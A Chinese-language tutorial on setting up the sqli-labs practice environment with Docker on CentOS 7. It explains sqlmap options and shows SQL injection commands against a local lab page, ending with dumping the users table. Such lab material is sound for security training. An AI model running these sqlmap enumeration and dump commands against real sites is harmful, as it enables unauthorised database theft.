目录
安装docker
- 因为我们是使用docker去搭建sqli-labs,所以在CentOS7中搭建sqli-labs环境之前需要先安装docker(如果安装过,可以直接去执行安装完docker的后续步骤)
- 安装需要的软件包, yum-util 提供yum-config-manager实用程序,另外两个是devicemapper驱动依赖的,需要执行命令:yum install -y yum-utils device-mapper-persistent-data lvm2
- 通过yum-config-manager实用程序设置存储库,需要执行命令:yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
- 可以查看仓库中所有docker版本,需要执行命令:yum list docker-ce --showduplicates | sort -r
- 安装docker,执行命令:yum install docker-ce(中途遇到的选择都选Y)
- 如果安装失败,有可能是以前安装过,可以先卸载旧版本,在安装,卸载旧版本执行命令:yum remove docker docker-common docker-selinux docker-engine
- 启动docker,使用命令:systemctl start docker
- 验证是否安装成功(有client和service两部分表示docker安装启动都成功了),使用命令:docker version
使用docker拉取sqli-labs的镜像
- 在启动完docker后,使用docker拉取sqli-labs的镜像,执行命令:docker pull acgpiano/sqli-labs
- 使用docker images命令可以查看拉取到本地的镜像
- 用镜像运行创建一个容器,执行命令:docker run -d -P acgpiano/sqli-labs
- 查看创建的容器的id和映射的端口,执行命令:docker ps -a
- 如果我们想要停止并删除创建的容器,可以执行以下命令
- 停止容器运行:docker stop 上图中的容器的ID
- 删除容器:docker rm 上图中的容器的ID
- 如果我们在停止容器后想要让这个容器再次运行的话,需要执行命令:docker start 容器的ID
- 确保我们的容器运行后,使用ip+上面的端口49154去访问,访问后需要先点击Setup/reset Database for labs选项,点击后会跳转到一个页面中,我们不需要管,直接返回当前这个页面中就可以使用了
对我们使用到的sqlmap的参数解释
- -u:指定目标URL,sql注入点
- --cookie:当前会话的cookie值(这个cookie的选项是在需要登录的测试环境中使用的选项,我们当前这个环境不需要登录,所以不需要使用cookie选项)
- --dbs:列举出所有的数据库
- --current-db:获取当前使用的数据库
- --current-user:获取当前登录数据库使用的用户
- -D:要枚举的数据库,也就是要指定我们操作的是哪个数据库
- --tables:枚举数据库中的所有数据表,也就是获取到数据库中的所有表的名字
- -T:要枚举的数据库表,也就是要指定我们操作的是哪个数据表
- --columns:枚举数据库表中的所有列,也就是获取到数据表中所有的列名(字段名)
- -C:要枚举的数据表中的列,也就是要指定我们操作的是数据表中的哪一列
- --dump:转储数据表项,也就是获取到数据表中的内容,配合-C参数就是获取一列的内容,配和-T参数就是获取整个表中的所有内容
使用Kali中自带的sqlmap进行sql注入
- 注意:在使用sqlmap进行sql注入的时候,最好去了解一下MySQL数据库,不然有可能会看不懂下面的一些文字描述
- 点击完Setup/reset Database for labs选项后,在点击SQLi-LABS Page-1..选项
- 然后,在跳转的页面中点击第一个去做sqlmap的测试
- 在选择第一个后,在url中输入?id=1测试出注入点,在测试出注入点后,需要将整个url保存下来,因为sqlmap的-u参数要用到,包括?id=1
- 然后在kali中使用sqlmap进行注入,使用命令获取所有的数据库:sqlmap -u http://192.168.28.148:49156/Less-1/?id=1 --dbs
- 使用命令获取到当前正在使用的数据库:sqlmap -u http://192.168.28.148:49156/Less-1/?id=1 --current-db
- 使用命令获取到这个security数据库下面的所有的数据表:sqlmap -u http://192.168.28.148:49156/Less-1?id=1 -D security --tables
- 使用命令获取到users表中的所有字段:sqlmap -u http://192.168.28.148:49156/Less-1/?id=1 -D security -T users --columns
- 使用命令获取到users表中username字段的内容:sqlmap -u http://192.168.28.148:49156/Less-1/?id=1 -D security -T users -C username --dump
- 如果想要获取到users表中所有的数据,执行命令:sqlmap -u http://192.168.28.148:49156/Less-1/?id=1 -D security -T users --dump